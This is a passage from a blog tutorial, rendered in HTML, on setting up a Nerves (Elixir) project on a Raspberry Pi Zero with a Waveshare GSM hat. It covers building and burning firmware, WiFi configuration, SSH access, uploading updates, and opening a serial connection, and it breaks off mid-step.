&lt;p&gt;It is important to set the two yellow jumpers on the Waveshare Hat to the &lt;code&gt;B&lt;/code&gt; position. Otherwise, you will not be able to communicate with the Waveshare Hat from your Raspberry Pi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/sending_text_messages_with_nerves/jumper.jpg&quot; alt=&quot;How the jumper should be positioned&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And that&apos;s it! You now have connected the Waveshare Hat successfully to your Raspberry Pi.&lt;/p&gt;
&lt;h1&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-software-setup&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-software-setup&quot;&gt;&lt;/a&gt;The Software Setup&lt;/h1&gt;
&lt;p&gt;Let&apos;s first create a new Nerves project and burn it to the microSD card. Make sure that you have &lt;a href=&quot;https://hexdocs.pm/nerves/installation.html#content&quot;&gt;Nerves&lt;/a&gt; and all necessary dependencies installed on your computer. Next, open a folder of your choice and run:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;nerves.new&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;texting&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will create a new Nerves project for you. Next, set the &lt;a href=&quot;https://hexdocs.pm/nerves/targets.html#content&quot;&gt;Target&lt;/a&gt; of your project. In our case, this will be the Raspberry Pi Zero. You can set the target in multiple ways:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Set the target for the entire shell session&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;export&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;MIX_TARGET&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;rpi0&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Set the target per call, e.g.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;MIX_TARGET&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;rpi0&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;firmware&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# My preference&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Set the target in your .env.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Don&amp;#39;t forget to restart your shell session.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;MIX_TARGET&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;rpi0&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you are using a different Raspberry Pi than me, you need to change the &lt;code&gt;target&lt;/code&gt; accordingly to e.g. &lt;code&gt;rpi2&lt;/code&gt;, &lt;code&gt;rpi3&lt;/code&gt;, or &lt;code&gt;rpi4&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Add the following dependencies to your &lt;code&gt;mix.exs&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# mix.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;deps&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:waveshare_hat&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 0.1.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;github: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;PJUllrich/nerves_waveshare_868_gsm_gprs_gnss_hat&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s fetch the dependencies and build our example project. &lt;strong&gt;Warning&lt;/strong&gt;: The next step will download &lt;code&gt;~175Mb&lt;/code&gt; of data. If you are on a limited data plan, consider running this command later or downloading the &lt;code&gt;nerves_system_rpi0-portable-*&lt;/code&gt;-file from &lt;a href=&quot;https://github.com/nerves-project/nerves_system_rpi0/releases/&quot;&gt;GitHub&lt;/a&gt; manually.&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;cd&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;texting&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;deps.get&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;firmware&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will take a while (up to 2min on my machine). Enough time to check &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#connecting-to-the-raspberry-pi&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;connecting-to-the-raspberry-pi&quot;&gt;&lt;/a&gt;Connecting to the Raspberry Pi&lt;/h3&gt;
&lt;p&gt;After your project was built successfully, stick your microSD Card into your computer and run the command:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;firmware.burn&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command will build an OTP release for your project and copy everything to your microSD card. It tries to find the microSD card automatically. You should see the following prompt or something similar:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Use&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;14.84&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;GiB&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;memory&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;card&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;found&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;at&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/dev/rdisk2?&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;Yn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;y&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can now eject your microSD card and put it into the Raspberry Pi. Connect your Raspberry Pi Zero to your computer by inserting a Micro-USB cable in the &lt;code&gt;USB&lt;/code&gt;-Port of your Raspberry Pi Zero. If you have a different Raspberry Pi, you probably need to connect it to your local WiFi using &lt;a href=&quot;https://github.com/nerves-networking/vintage_net_wifi&quot;&gt;VintageNetWifi&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If not using a Raspberry Pi Zero&lt;/strong&gt;: Add the following dependency and configuration and run the &lt;code&gt;mix do deps.get, firmware, firmware.burn&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# mix.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;deps&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:vintage_net_wifi&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 0.9.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;targets: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;all_targets&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    ...
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/config.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:vintage_net&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;config: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;wlan0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;VintageNetWiFi&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;vintage_net_wifi: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;networks: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;            &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;              &lt;span style=&quot;color: #79c0ff;&quot;&gt;key_mgmt: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:wpa_psk&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;              &lt;span style=&quot;color: #79c0ff;&quot;&gt;ssid: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;my_network_ssid&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;              &lt;span style=&quot;color: #79c0ff;&quot;&gt;psk: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;a_passphrase_or_psk&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;            &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;          &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;ipv4: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;method: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:dhcp&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Make sure to enter the correct &lt;code&gt;Network SSID&lt;/code&gt; and &lt;code&gt;Network Password&lt;/code&gt; so that your Raspberry Pi connects to the WiFi automatically. You should then be able to find it on your local network.&lt;/p&gt;
&lt;p&gt;Make sure that your Raspberry Pi is plugged in. You can now connect to your Raspberry with:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;ssh&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;nerves.local&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#pushing-changes-to-the-raspberry-pi&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;pushing-changes-to-the-raspberry-pi&quot;&gt;&lt;/a&gt;Pushing changes to the Raspberry Pi&lt;/h3&gt;
&lt;p&gt;If you make changes to your project and want to push it to the Raspberry Pi, you first need to run the following command:&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;firmware.gen.script&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will create an &lt;code&gt;upload.sh&lt;/code&gt; script, which handles uploading the latest version of your project onto the Raspberry Pi. It loads the new release to the &lt;code&gt;B&lt;/code&gt; partition of the Nerves file system and starts up the new version. Only if the new version was booted successfully, it switches over from the &lt;code&gt;A&lt;/code&gt; partition to the new version. Pretty cool, he?&lt;/p&gt;
&lt;p&gt;Anyways, upload a new version of your project to the Raspberry Pi with:&lt;/p&gt;
&lt;pre id=&quot;code-block-9&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;firmware&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;./upload.sh&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will take a few seconds until the Raspberry Pi rebooted. Afterward, connect with &lt;code&gt;ssh nerves.local&lt;/code&gt;, and you should have the latest version available!&lt;/p&gt;
&lt;h1&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#sending-a-text-message&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;sending-a-text-message&quot;&gt;&lt;/a&gt;Sending a text message&lt;/h1&gt;
&lt;p&gt;Before we can communicate with the Waveshare Hat, you need to power it up.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/sending_text_messages_with_nerves/power-button.jpg&quot; alt=&quot;The location of the power button&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Press and hold the &lt;code&gt;PWRKEY&lt;/code&gt;-Button for 3-5 seconds until you see that the &lt;code&gt;STA&lt;/code&gt; LED glows continuously and the &lt;code&gt;NET&lt;/code&gt; LED flickers quickly. Once the &lt;code&gt;NET&lt;/code&gt; LED flickers slowly, the Waveshare Hat established a connection with the mobile network and is ready to receive our commands.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#establishing-a-connection&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;establishing-a-connection&quot;&gt;&lt;/a&gt;Establishing a connection&lt;/h3&gt;
&lt;p&gt;First, we need to find the USB-based serial port through which we can open a connection to the Waveshare Hat. The names of the serial ports typically start with &lt;code&gt;tty&lt;/code&gt;, and you can show all available serial ports with the command:&lt;/p&gt;
&lt;pre id=&quot;code-block-10&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Circuits.UART&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;enumerate&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;ttyAMA0&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;ttyS0&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Usually, the &lt;code&gt;enumerate/0&lt;/code&gt; function would show connected devices, but for some reason, the Waveshare Hat does not show up in this list. Nevertheless, you can still connect it through the, in my case, &lt;code&gt;ttyAMA0&lt;/code&gt;-port. So, let&apos;s do that with the command:&lt;/p&gt;
&lt;pre id=&quot;code-block-11&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;WaveshareHat&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/dev/ttyAMA0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can check the status of the Waveshare hat with:&lt;/p&gt;
